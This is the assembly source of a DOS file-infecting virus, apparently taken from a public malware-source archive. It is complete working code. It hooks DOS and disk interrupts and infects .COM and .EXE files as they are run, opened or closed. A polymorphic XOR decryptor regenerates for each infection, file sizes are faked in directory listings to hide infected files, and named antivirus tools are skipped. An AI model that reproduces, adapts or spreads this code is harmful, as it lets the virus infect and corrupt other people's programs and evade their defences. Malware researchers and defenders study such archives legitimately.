mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
1366 lines
21 KiB
NASM
1366 lines
21 KiB
NASM
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.radix 16
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sub bl,bl
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mov cx,offset msg-calldos-2
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mov si,offset calldos
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cld
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lpp:
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lodsb
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xor bl,al
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loop lpp
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mov byte ptr [checksum],bl
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mov bp,offset adjust
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call install1
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mov dx,offset Hellomsg
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mov ah,9
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int 21
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int 20
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Hellomsg db 0a,0dh,'OK friend...',0a,0dh,'$'
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Virus_lenght equ endcode-adjust
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alllen equ buffer-adjust
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adjust label word
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new_addr dd 0
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last:
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my_count dw 0
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checksum db 0
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;*******************************************************************
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; *
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; This is the program entry.... *
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; *
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;*******************************************************************
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Start_Virus:
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First_instr label word
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old label dword ;
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cli
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push ax
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call nextline
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nextline:
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popreg label byte
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db 01011000b ;pop reg
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pushreg label byte
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db 01010000b ;push reg
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f_g:
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db 10000001b ;add reg,value
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addtoreg label byte
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db 11000000b ;reg
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dw offset codedstart-nextline ;value
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loadcount label byte
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db 10111000b ;mov reg,value
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dw offset endcode-Start_Virus ;value
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where:
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decode:
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db 002e ;xor byte ptr cs:[reg+0],value
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db 10000000b
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xorreg label byte
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db 70
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db 00
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xorvalue label byte
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db 00
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incmain label byte
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db 01000000b ;inc reg
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deccount label byte
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db 01001000b ;dec reg
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jnz decode
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codedstart:
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pop bp
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jmp codedstart1
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;**************************************************
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; call next *
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;next: *
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; pop *reg* *
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; push *reg* *
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; add *reg*,codestart-nextline *
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; mov *countreg*,endcode-codedstart *
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;decode: *
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; xor byte ptr cs:[*reg*+0],xorvalue *
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; inc *reg* *
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; dec *countreg* *
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; jnz decode *
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; *
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; *reg*=index register,*countreg*=register *
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;**************************************************
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calldos:
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pushf
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call dword ptr cs:[old-adjust]
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ret
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give_him:
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push bp
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mov bp,sp
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push ax
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push si ;you can't use this function illegally...
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push ds
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lds si,[bp+2]
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lodsw
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sub ax,0C008
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jz me
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cli
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hlt
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me:
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pop ds
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pop si
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pop ax
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pop bp
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cmp byte ptr cs:[last-adjust],0FF ;Already got?
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je gotten
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cmp byte ptr cs:[f_g-adjust],0FF
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jne gotten
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all_ok:
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mov es,word ptr cs:[where-adjust]
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mov byte ptr cs:[last-adjust],0FF
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iret
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go_out2:
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jmp out
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gotten:
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xchg ah,al
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iret
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FF_old1:
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call calldos
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jmp FF_old
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FF_new1:
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call calldos
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jmp FF_new
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res:
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cmp ax,0FA01h
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je give_him
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cmp ah,11
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je FF_old1
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cmp ah,12
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je FF_old1
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cmp ah,4e
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je FF_new1
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cmp ah,4f
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je FF_new1
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cmp ax,4b00
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jne go_out2
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cmp byte ptr cs:[f_g-adjust],0FF
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je go_out2
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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push ds
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mov ah,62
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call calldos
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mov ds,bx
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cmp bx,[16]
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pop ds
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jne notthis
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call get
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mov bx,word ptr cs:[last-adjust]
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mov ds,bx
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cmp [0001],bx
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jb notthis
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inc bx
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push word ptr [0001]
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mov es,bx
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mov bx,[0003]
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add bx,130
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mov ah,4ah
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call calldos
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pop word ptr [0001]
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jnc allok
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notthis:
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jmp notnow
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allok:
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mov byte ptr cs:[f_g-adjust],0FF
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lds si,cs:[new_addr-adjust]
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add si,offset calldos-adjust
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sub bl,bl
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mov cx,offset msg-calldos-2
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cld
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check:
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lodsb
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xor bl,al
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loop check
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cmp bl,byte ptr cs:[checksum-adjust]
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jne notnow
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mov ax,0FA01
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int 21
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or al,al
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sub di,di
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lds si,cs:[new_addr-adjust]
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mov cx,Virus_lenght
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push cx
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push si
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push ds
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rep movsb
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mov bx,es
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pop es
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pop di
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pop cx
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sub al,al
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rep stosb
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push cs
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mov ax,offset notnow2-adjust
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push ax
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push bx
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mov ax,offset Set_Vectors-adjust
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push ax
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retf
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notnow2:
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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int 21
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db 0ca,2,0 ;retf 2
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notnow:
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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out:
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jmp dword ptr cs:[old-adjust]
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get:
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push bx
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push ds
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push es
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mov ah,52h
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call calldos
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mov bx,es:[bx-02]
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search:
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mov ds,bx
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inc bx
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add bx,[0003]
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mov es,bx
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cmp byte ptr es:[0000],'Z'
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jne search
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mov word ptr cs:[last-adjust],ds
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mov word ptr cs:[where-adjust],bx
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pop es
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pop ds
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pop bx
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ret
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FF_old:
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push ax
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push bx
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push dx
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push es
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or al,al
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jnz Go_Out_ ;if error
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mov ah,2f ;get DTA address
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call calldos
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cmp byte ptr es:[bx],0ff
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jne standart
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add bx,7
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standart:
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mov al,byte ptr es:[bx+30d-7] ;Seconds in al
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and al,31d ;Mask seconds
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cmp al,60d/2 ;Seconds=60?
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jne Go_Out_
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and byte ptr es:[bx+30d-7],11100000b
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mov ax,es:[bx+36d-7]
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mov dx,es:[bx+38d-7] ;Check File size
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sub ax,Virus_lenght
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sbb dx,0
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jb Go_Out_
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Adjust_Size:
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mov es:[bx+28d+1],ax
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mov es:[bx+28d+2+1],dx
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Go_Out_:
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pop es ;Return to caller
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pop dx
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pop bx
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pop ax
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iret
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FF_new:
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pushf
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push ax
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push bx
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push dx ;fuck again
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push es
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jc Go_Out_1
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mov ah,2f
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call calldos
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mov al,es:[bx+22d]
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and al,31d
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cmp al,60d/2
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jne Go_Out_1
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and byte ptr es:[bx+22d],11100000b
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mov ax,es:[bx+26d]
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mov dx,es:[bx+28d]
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sub ax,Virus_lenght
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sbb dx,0
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jb Go_Out_1
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Adjust_Size1:
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mov es:[bx+26d],ax
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mov es:[bx+28d],dx
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Go_Out_1:
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pop es
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pop dx
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pop bx
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pop ax ; Dummy proc far
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popf ; ret 2
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db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long...
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endinst label word
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codedstart1:
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sti
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pop ax
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install:
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sub bp,offset nextline-adjust
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install1:
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cld ;Clear direction flag
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push ax ;Save some registres
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push es
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push ds
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mov ax,0FA01
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int 21
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or al,al
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jz do_dob
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jmp install_ok
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do_dob:
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push es
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pop ds
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mov ax,[0002]
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mov cx,1000
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sub ax,cx
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mov es,ax
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sub di,di
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call SearchZero
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jc Dont_copy
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mov si,bp
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mov cx,alllen
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db 2e
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rep movsb
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Dont_copy:
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sub ax,ax
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mov ds,ax
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mov ax,[21*4]
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mov word ptr cs:[bp+old-adjust],ax
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mov ax,[21*4+2]
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mov word ptr cs:[bp+old-adjust+2],ax
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mov ah,52
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int 21
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push es
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mov es,es:[bx+14]
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push es:[2]
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sub di,di
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mov si,bp
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mov cx,endinst-adjust
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db 2e
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rep movsb
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pop ax
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pop ds
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mov [bx+14],ax
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mov ds,cx
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mov [21*4],offset res-adjust
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mov [21*4+2],es
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jcxz Run_The_Program
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install_ok:
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cmp ax,01FAh
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je Run_The_Program
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mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
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mov si,bp
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sub di,di
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mov cx,alllen
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db 2e
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rep movsb
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push cs
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mov ax,Run_The_Program-adjust
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add ax,bp
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push ax
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push es
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mov ax,offset Set_Vectors-adjust ;Set vectors
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push ax
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retf
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SearchZero:
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sub ax,ax
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Again:
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inc di
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push cx
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push di
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mov cx,alllen
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repe scasb
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pop di
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jz FoundPlace
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pop cx
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loop Again
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stc
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ret
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FoundPlace:
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pop cx
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mov word ptr cs:[bp+new_addr-adjust],di
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mov word ptr cs:[bp+new_addr-adjust+2],es
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clc
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ret
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Run_The_Program:
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add bp,offset First_18-adjust
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pop ds ;Restore saved ds,es,ax
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pop es ;ds=es=PSP
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pop ax
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mov ax,'ZM'
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cmp cs:[bp],ax ;Run the infected program
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je run_exe
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xchg ah,al
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cmp cs:[bp],ax
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je run_exe
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jne Run_COM_File
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run_exe:
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mov cx,ds ;Calculate load segment
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add cx,0010
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mov bx,cx
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add cx,cs:[bp+16] ;Calculate CS value
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add bx,cs:[bp+0e] ;Calculate SS value
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mov ss,bx ;Run .EXE program
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mov sp,word ptr cs:[bp+10]
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push cx
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push word ptr cs:[bp+14]
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retf
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Run_COM_File:
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mov di,0100
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push di
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mov si,bp
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movsb ;Restore the first 3 bytes
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movsw ;Run .COM program
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ret
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db '<27><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>!'
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INT_21h_Entry_Point:
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cmp ah,3ch ;Create (3.X)
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je create
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cmp ah,5bh
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je create
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cmp ah,6ch
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jne not_create ;Create (4.X)
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test bl,1
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jz not_create
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jnz create
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not_create:
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call pusha
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mov byte ptr cs:[function-adjust],ah
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cmp ah,6ch ;Open (4.X)
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je create_
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cmp ah,3dh
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je Function_4Bh
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cmp ah,3e ;Close
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je close_
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cmp ax,4b00 ;Exec
|
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je Function_4Bh
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Return_Control:
|
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call popa
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|
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Go_out:
|
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jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21
|
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|
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create_:
|
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|
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or bl,bl ;Create file?
|
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jnz Return_Control
|
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mov dx,si
|
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|
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Function_4Bh:
|
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|
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mov ax,3d00h
|
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call Infect_It
|
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jmp Return_Control
|
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|
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create:
|
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cmp word ptr cs:[handle-adjust],0ffff
|
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jne Go_out
|
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call Call_Original_INT_21h
|
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mov word ptr cs:[handle-adjust],ax
|
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jnc Error
|
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mov word ptr cs:[handle-adjust],0ffff
|
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Error:
|
||
; retf 2
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db 0ca,2,0
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|
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close_:
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cmp word ptr cs:[handle-adjust],0ffff
|
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je Return_Control
|
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cmp bx,word ptr cs:[handle-adjust]
|
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jne Return_Control
|
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mov ah,45
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call Infect_It
|
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mov word ptr cs:[handle-adjust],0ffff
|
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jmp Return_Control
|
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|
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;******************************************
|
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; *
|
||
; This infects the programs... *
|
||
; *
|
||
;******************************************
|
||
|
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Infect_It:
|
||
|
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call Call_Original_INT_21h ;this is the infecting part
|
||
jnc No_error
|
||
ret
|
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|
||
No_error:
|
||
|
||
xchg ax,bp
|
||
|
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mov ax,0200
|
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push ax
|
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popf
|
||
|
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mov byte ptr cs:[flag-adjust],0
|
||
|
||
mov ah,54
|
||
call Call_Original_INT_21h
|
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mov byte ptr cs:[veri-adjust],al
|
||
cmp al,1 ;Switch off verify...
|
||
jne Go_On_Setting
|
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mov ax,2e00
|
||
call Call_Original_INT_21h
|
||
|
||
Go_On_Setting:
|
||
|
||
|
||
mov ax,3513
|
||
call Call_Original_INT_21h
|
||
push bx
|
||
push es
|
||
|
||
mov word ptr cs:[current_13h-adjust],bx
|
||
mov word ptr cs:[current_13h-adjust+2],es
|
||
|
||
mov ah,25
|
||
mov dx,INT_13h_entry-adjust ;Set int 13h
|
||
push cs
|
||
pop ds
|
||
call Call_Original_INT_21h
|
||
|
||
mov ax,3524
|
||
call Call_Original_INT_21h
|
||
push bx
|
||
push es
|
||
|
||
mov ah,25
|
||
mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
|
||
call Call_Original_INT_21h
|
||
|
||
push cs
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
mov dx,offset DOS_13h-adjust
|
||
mov bx,dx ;Set New DOS int 13h
|
||
mov ah,13
|
||
call Call_Original_INT_2Fh
|
||
|
||
push bx
|
||
push es
|
||
push dx
|
||
push ds
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
xchg bx,bp
|
||
push bx
|
||
mov ax,1220
|
||
call Call_Original_INT_2Fh
|
||
mov bl,es:[di] ;Remember the good old V512 ?
|
||
mov ax,1216
|
||
call Call_Original_INT_2Fh
|
||
pop bx
|
||
add di,11
|
||
|
||
mov byte ptr es:[di-15d],2
|
||
mov ax,es:[di]
|
||
mov dx,es:[di+2]
|
||
cmp ax,3000d
|
||
sbb dx,0
|
||
jb Not_good
|
||
Go_on:
|
||
cmp byte ptr cs:[function-adjust],3dh
|
||
je Scan_name
|
||
cmp byte ptr cs:[function-adjust],6ch
|
||
jne Dont_Scan_Name
|
||
|
||
Scan_name:
|
||
|
||
push di
|
||
add di,0f
|
||
mov si,offset fname-adjust ;wasn't that the last opened file?
|
||
cld
|
||
mov cx,8+3
|
||
rep cmpsb
|
||
pop di
|
||
je Not_good
|
||
|
||
Dont_Scan_Name:
|
||
|
||
cmp es:[di+18],'MO'
|
||
jne Check_For_EXE ;check for .COM file
|
||
cmp byte ptr es:[di+17],'C'
|
||
jne Check_For_EXE
|
||
jmp com
|
||
|
||
Check_For_EXE:
|
||
|
||
cmp es:[di+18],'EX'
|
||
jne Not_good ;check for .EXE file
|
||
cmp byte ptr es:[di+17],'E'
|
||
je Check_For_Valid_EXE
|
||
|
||
Not_good:
|
||
|
||
jmp close
|
||
|
||
Check_For_Valid_EXE:
|
||
|
||
call Read_First_18
|
||
cmp word ptr [si],'ZM'
|
||
je Valid_EXE ;check for valid .EXE file
|
||
cmp word ptr [si],'MZ'
|
||
jne Not_good
|
||
|
||
Valid_EXE:
|
||
|
||
cmp byte ptr es:[di+0f],'M' ;MAPMEM
|
||
je Not_good
|
||
cmp es:[di+0f],'RT' ;TRAPFILE
|
||
je Not_good
|
||
cmp es:[di+0f],'CS' ;SCAN.EXE
|
||
jne go_on_a
|
||
cmp es:[di+11],'NA'
|
||
je Not_good
|
||
go_on_a:
|
||
cmp es:[di+0f],'NA' ;ANTI****.*EXE
|
||
jne go_on_b
|
||
cmp es:[di+11],'IT'
|
||
je Not_good
|
||
go_on_b:
|
||
cmp es:[di+0f],'LC' ;CLEANNEW.EXE
|
||
jne low_mem?
|
||
cmp es:[di+11],'AE'
|
||
je Not_good
|
||
|
||
Low_mem?:
|
||
cmp word ptr [si+0c],0ffff ;only low-mem .EXE
|
||
jne Not_good
|
||
|
||
Low_Mem:
|
||
|
||
mov cx,[si+16]
|
||
add cx,[si+8] ;Something common with EDDIE..
|
||
mov ax,10
|
||
mul cx
|
||
add ax,[si+14]
|
||
adc dx,0
|
||
mov cx,es:[di]
|
||
sub cx,ax
|
||
xchg ax,cx
|
||
mov cx,es:[di+2]
|
||
sbb cx,dx
|
||
or cx,cx
|
||
jnz Not_Infected_EXE ;infected?
|
||
cmp ax,(endcode-Start_Virus)
|
||
jbe Not_good
|
||
|
||
Not_Infected_EXE:
|
||
|
||
mov ax,es:[di]
|
||
mov dx,es:[di+2]
|
||
|
||
add ax,Virus_lenght
|
||
adc dx,0
|
||
mov cx,200 ;(C) by Lubo & Jan...
|
||
div cx
|
||
mov [si+2],dx
|
||
or dx,dx
|
||
jz OK_MOD
|
||
inc ax
|
||
|
||
OK_MOD:
|
||
mov [si+4],ax
|
||
mov ax,es:[di]
|
||
mov dx,es:[di+2]
|
||
|
||
mov cx,10
|
||
div cx
|
||
|
||
sub ax,[si+8]
|
||
add dx,Start_Virus-adjust
|
||
adc ax,0
|
||
mov [si+14],dx
|
||
mov [si+16],ax
|
||
add ax,(Virus_lenght)/16d+1
|
||
mov [si+0eh],ax
|
||
mov [si+10],100
|
||
write:
|
||
mov ax,5700
|
||
call Call_Original_INT_21h
|
||
push cx
|
||
push dx
|
||
|
||
sub cx,cx
|
||
mov es:[di+4],cx
|
||
mov es:[di+6],cx
|
||
mov cl,20
|
||
xchg cl,byte ptr es:[di-0dh]
|
||
push cx
|
||
mov ah,40 ;this writes the first few bytes and glues the virus
|
||
mov dx,buffer-adjust
|
||
mov cx,18
|
||
|
||
call Call_Original_INT_21h
|
||
|
||
call make_mutation
|
||
|
||
push es
|
||
push di
|
||
push cs
|
||
pop es
|
||
mov di,si
|
||
sub si,si
|
||
mov cx,Virus_lenght
|
||
push di
|
||
rep movsb
|
||
pop di
|
||
add di,offset codedstart-adjust
|
||
mov al,byte ptr [xorvalue-adjust]
|
||
mov cx,offset endcode-codedstart
|
||
|
||
codeit:
|
||
xor byte ptr [di],al
|
||
inc di
|
||
loop codeit
|
||
|
||
pop di
|
||
pop es
|
||
|
||
inc word ptr [my_count-adjust]
|
||
|
||
mov ax,es:[di]
|
||
mov es:[di+4],ax
|
||
mov ax,es:[di+2]
|
||
mov es:[di+6],ax
|
||
call Check_For_COMMAND ;(C)
|
||
jne Dont_Adjust_Size
|
||
sub es:[di+4],Virus_lenght
|
||
|
||
Dont_Adjust_Size:
|
||
|
||
mov ah,40
|
||
mov dx,offset buffer-adjust
|
||
mov cx,Virus_lenght
|
||
call Call_Original_INT_21h
|
||
|
||
pop cx
|
||
mov byte ptr es:[di-0dh],cl
|
||
pop dx
|
||
pop cx
|
||
|
||
cmp byte ptr cs:[flag-adjust],0ff
|
||
je Set_Time_and_Date
|
||
exit:
|
||
call Check_For_COMMAND
|
||
je Set_Time_and_Date
|
||
and cl,11100000b
|
||
or cl,60d/2
|
||
|
||
Set_Time_and_Date:
|
||
|
||
mov ax,5701
|
||
call Call_Original_INT_21h
|
||
close:
|
||
|
||
mov ah,3e
|
||
call Call_Original_INT_21h
|
||
mov si,di
|
||
add si,0f
|
||
mov di,fname-adjust
|
||
push es
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov cx,8+3 ;save the fname to a quit place
|
||
rep movsb
|
||
push cs
|
||
pop ds
|
||
|
||
cmp byte ptr cs:[flag-adjust],0ff
|
||
jne Dont_Clear_Buffers
|
||
mov ah,0dh ;if error occured-clear disk buffers
|
||
|
||
call Call_Original_INT_21h
|
||
|
||
Dont_Clear_Buffers:
|
||
|
||
cmp byte ptr cs:[veri-adjust],1
|
||
jne Restore_Vectors
|
||
mov ax,2e01
|
||
|
||
call Call_Original_INT_21h
|
||
|
||
Restore_Vectors:
|
||
|
||
|
||
pop ds
|
||
pop dx
|
||
pop es
|
||
pop bx
|
||
|
||
mov ah,13
|
||
call Call_Original_INT_2Fh
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
pop [24*4+2]
|
||
pop [24*4]
|
||
pop [13*4+2]
|
||
pop [13*4] ;restore vectors and return
|
||
ret
|
||
|
||
com:
|
||
test byte ptr es:[di-0dh],4 ;if it is a system file
|
||
jnz Not_OK_COM_File ;I had some problems here with
|
||
;V1160 & V1776 (with the ball)
|
||
cmp es:[di],65535d-Virus_lenght*2-100
|
||
ja Not_OK_COM_File
|
||
|
||
cmp es:[di+0f],'RT' ;TRAPFILE
|
||
je Not_OK_COM_File
|
||
cmp byte ptr es:[di+0f],'M' ;MV.COM
|
||
je Not_OK_COM_File
|
||
|
||
call Read_First_18
|
||
mov ax,[si+10] ;CHECK IF THAT'S A TRAP FILE
|
||
cmp ax,[si+12]
|
||
je Not_OK_COM_File
|
||
cmp byte ptr [si],0E9
|
||
jne OK_COM_file
|
||
mov ax,es:[di]
|
||
sub ax,[si+1] ;infected?
|
||
cmp ax,(endcode-Start_Virus+3)
|
||
jbe Not_OK_COM_File
|
||
|
||
OK_COM_file:
|
||
|
||
mov ax,es:[di]
|
||
add ax,Start_Virus-adjust-3
|
||
call Check_For_COMMAND
|
||
jne Normally
|
||
sub ax,Virus_lenght
|
||
|
||
Normally:
|
||
|
||
mov byte ptr [si],0E9
|
||
mov word ptr [si+1],ax
|
||
jmp write
|
||
|
||
Not_OK_COM_File:
|
||
|
||
jmp close
|
||
|
||
Set_Vectors:
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
|
||
push [1*4]
|
||
push [1*4+2] ; <= (C) by N.Hacker.
|
||
|
||
pushf
|
||
pushf
|
||
pushf
|
||
pushf
|
||
|
||
mov byte ptr cs:[flag-adjust],ah
|
||
mov byte ptr cs:[my_flag-adjust],ah
|
||
mov word ptr cs:[limit-adjust],300
|
||
mov word ptr cs:[mem_-adjust],org_21h-adjust
|
||
|
||
mov [1*4],offset trap-adjust
|
||
mov [1*4+2],cs
|
||
|
||
call set_trace
|
||
|
||
mov ax,3521
|
||
|
||
call dword ptr [21h*4]
|
||
|
||
mov word ptr cs:[current_21h-adjust],bx ;get old int 21
|
||
mov word ptr cs:[current_21h-adjust+2],es
|
||
|
||
mov byte ptr cs:[flag-adjust],0
|
||
mov word ptr cs:[mem_-adjust],org_2fh-adjust
|
||
|
||
call set_trace
|
||
|
||
mov ax,1200
|
||
|
||
call dword ptr [2fh*4] ;do trace int 2f
|
||
|
||
|
||
mov byte ptr cs:[flag-adjust],0
|
||
mov byte ptr cs:[my_flag-adjust],0FF
|
||
mov word ptr cs:[limit-adjust],0C800
|
||
mov word ptr cs:[mem_-adjust],org_13h-adjust
|
||
|
||
call set_trace
|
||
|
||
sub ah,ah
|
||
|
||
call dword ptr [13h*4] ;do trace int 13
|
||
|
||
mov byte ptr cs:[flag-adjust],0
|
||
mov word ptr cs:[limit-adjust],0F000
|
||
mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
|
||
|
||
call set_trace
|
||
|
||
sub ah,ah
|
||
|
||
call dword ptr [13h*4]
|
||
|
||
pop [1*4+2]
|
||
pop [1*4]
|
||
|
||
mov [21*4],offset INT_21h_Entry_Point-adjust ;set it
|
||
mov [21*4+2],cs
|
||
|
||
retf
|
||
|
||
set_trace:
|
||
|
||
pushf
|
||
pop ax
|
||
or ax,100
|
||
push ax
|
||
popf
|
||
ret
|
||
|
||
trap:
|
||
push bp
|
||
mov bp,sp
|
||
push bx
|
||
push di
|
||
cmp byte ptr cs:[flag-adjust],0ff
|
||
je off
|
||
mov di,word ptr cs:[mem_-adjust]
|
||
mov bx,word ptr cs:[limit-adjust]
|
||
cmp [bp+4],bx
|
||
pushf
|
||
cmp byte ptr cs:[my_flag-adjust],0ff
|
||
jne It_Is_JA
|
||
|
||
popf
|
||
jb Go_out_of_trap
|
||
jmp It_Is_JB
|
||
|
||
It_Is_JA:
|
||
|
||
popf
|
||
ja Go_out_of_trap
|
||
|
||
It_Is_JB:
|
||
|
||
mov bx,[bp+2]
|
||
mov word ptr cs:[di],bx
|
||
mov bx,[bp+4]
|
||
mov word ptr cs:[di+2],bx
|
||
mov byte ptr cs:[flag-adjust],0ff
|
||
off:
|
||
and [bp+6],0feff
|
||
|
||
Go_out_of_trap:
|
||
|
||
pop di
|
||
pop bx
|
||
pop bp
|
||
iret
|
||
|
||
|
||
Call_Original_INT_21h:
|
||
|
||
pushf
|
||
call dword ptr cs:[org_21h-adjust]
|
||
ret
|
||
|
||
|
||
|
||
Call_Original_INT_2Fh:
|
||
|
||
pushf
|
||
call dword ptr cs:[org_2fh-adjust]
|
||
ret
|
||
|
||
INT_24h_entry:
|
||
|
||
mov al,3
|
||
iret
|
||
|
||
;**************************
|
||
; (C) by N.Hacker. *
|
||
; (bellow) *
|
||
;**************************
|
||
|
||
INT_13h_entry:
|
||
|
||
mov byte ptr cs:[next_flag-adjust],0
|
||
|
||
cmp ah,2
|
||
jne Other
|
||
|
||
cmp byte ptr cs:[function-adjust],03Eh
|
||
jne Dont_hide
|
||
|
||
dec byte ptr cs:[next_flag-adjust]
|
||
inc ah
|
||
jnz Dont_hide
|
||
|
||
Other:
|
||
|
||
cmp ah,3
|
||
jne Dont_hide
|
||
|
||
cmp byte ptr cs:[flag-adjust],0ff
|
||
je no_error_
|
||
|
||
cmp byte ptr cs:[function-adjust],03Eh
|
||
je Dont_hide
|
||
|
||
inc byte ptr cs:[next_flag-adjust]
|
||
dec ah
|
||
|
||
Dont_hide:
|
||
|
||
pushf
|
||
call dword ptr cs:[current_13h-adjust]
|
||
jnc no_error_
|
||
mov byte ptr cs:[flag-adjust],0ff
|
||
|
||
no_error_:
|
||
|
||
clc
|
||
db 0ca,02,0 ;retf 2
|
||
|
||
|
||
DOS_13h:
|
||
|
||
cmp byte ptr cs:[next_flag-adjust],0
|
||
je OK
|
||
|
||
cmp ah,2
|
||
je Next
|
||
cmp ah,3
|
||
jne OK
|
||
Next:
|
||
cmp byte ptr cs:[next_flag-adjust],1
|
||
jne Read
|
||
inc ah
|
||
jne OK
|
||
Read:
|
||
|
||
dec ah
|
||
OK:
|
||
test dl,80
|
||
jz Floppy
|
||
jmp dword ptr cs:[org_13h-adjust]
|
||
Floppy:
|
||
jmp dword ptr cs:[Floppy_org_13h-adjust]
|
||
|
||
|
||
Read_First_18:
|
||
|
||
sub ax,ax
|
||
mov es:[di+4],ax
|
||
mov es:[di+6],ax
|
||
mov ah,3f
|
||
mov cx,18
|
||
mov dx,buffer-adjust
|
||
mov si,dx
|
||
call Call_Original_INT_21h
|
||
call pusha
|
||
push cs
|
||
pop es
|
||
mov di,offset First_18-adjust
|
||
mov cx,18
|
||
rep movsb
|
||
call popa
|
||
ret
|
||
|
||
Check_For_COMMAND:
|
||
|
||
cmp es:[di+0f],'OC'
|
||
jne Not_COMMAND
|
||
cmp es:[di+11],'MM'
|
||
jne Not_COMMAND
|
||
cmp es:[di+13],'NA'
|
||
jne Not_COMMAND ;check for command.com
|
||
cmp es:[di+15],' D'
|
||
jne Not_COMMAND
|
||
cmp es:[di+17],'OC'
|
||
jne Not_COMMAND
|
||
cmp byte ptr es:[di+19],'M'
|
||
|
||
Not_COMMAND:
|
||
|
||
ret
|
||
|
||
pusha:
|
||
pop word ptr cs:[ret_addr-adjust]
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push bp
|
||
push ds
|
||
push es
|
||
jmp word ptr cs:[ret_addr-adjust]
|
||
|
||
popa:
|
||
pop word ptr cs:[ret_addr-adjust]
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
jmp word ptr cs:[ret_addr-adjust]
|
||
|
||
make_mutation:
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
mov ax,[046C]
|
||
or al,al
|
||
clc
|
||
jnz good_value
|
||
inc al
|
||
stc
|
||
|
||
good_value:
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
mov byte ptr [xorvalue-adjust],al
|
||
jnc well_ok
|
||
dec al
|
||
|
||
well_ok:
|
||
|
||
and al,0111b ;BX,SI,DI,BP
|
||
or al,0100b
|
||
|
||
cmp al,0100b
|
||
jne okreg
|
||
inc al
|
||
|
||
okreg:
|
||
|
||
and byte ptr [popreg-adjust],11111000b
|
||
or byte ptr [popreg-adjust],al
|
||
|
||
and byte ptr [addtoreg-adjust],11111000b
|
||
or byte ptr [addtoreg-adjust],al
|
||
|
||
and byte ptr [incmain-adjust],11111000b
|
||
or byte ptr [incmain-adjust],al
|
||
|
||
and byte ptr [pushreg-adjust],11111000b
|
||
or byte ptr [pushreg-adjust],al
|
||
|
||
call adjustreg
|
||
|
||
and byte ptr [xorreg-adjust],11111000b
|
||
or byte ptr [xorreg-adjust],al
|
||
|
||
and ah,0011b ;AX,CX,DX
|
||
cmp ah,0011b ;00,01,02
|
||
jne okreg2
|
||
dec ah
|
||
okreg2:
|
||
|
||
and byte ptr [loadcount-adjust],11111000b
|
||
or byte ptr [loadcount-adjust],ah
|
||
|
||
and byte ptr [deccount-adjust],11111000b
|
||
or byte ptr [deccount-adjust],ah
|
||
|
||
mov ax,word ptr [First_instr-adjust]
|
||
xchg ah,al
|
||
mov word ptr [First_instr-adjust],ax
|
||
|
||
ret
|
||
|
||
|
||
adjustreg:
|
||
|
||
cmp al,0011b
|
||
je abx
|
||
cmp al,0101b
|
||
je abp
|
||
cmp al,0110b
|
||
je asi
|
||
mov al,0101b
|
||
ret
|
||
abx:
|
||
mov al,0111b
|
||
ret
|
||
abp:
|
||
mov al,0110b
|
||
ret
|
||
asi:
|
||
mov al,0100b
|
||
ret
|
||
|
||
|
||
msg:
|
||
|
||
First_18:
|
||
|
||
ret
|
||
db 17 dup (?)
|
||
|
||
|
||
endcode label word
|
||
|
||
current_21h dd ?
|
||
current_13h dd ?
|
||
org_2fh dd ?
|
||
org_13h dd ?
|
||
org_21h dd ?
|
||
Floppy_org_13h dd ?
|
||
flag db ? ;0ff if error occure<72><65>
|
||
veri db ?
|
||
handle dw ?
|
||
fname db 8+3 dup (?)
|
||
function db ?
|
||
my_flag db ?
|
||
limit dw ?
|
||
mem_ dw ?
|
||
next_flag db ?
|
||
ret_addr dw ?
|
||
|
||
buffer label word
|
||
|
||
|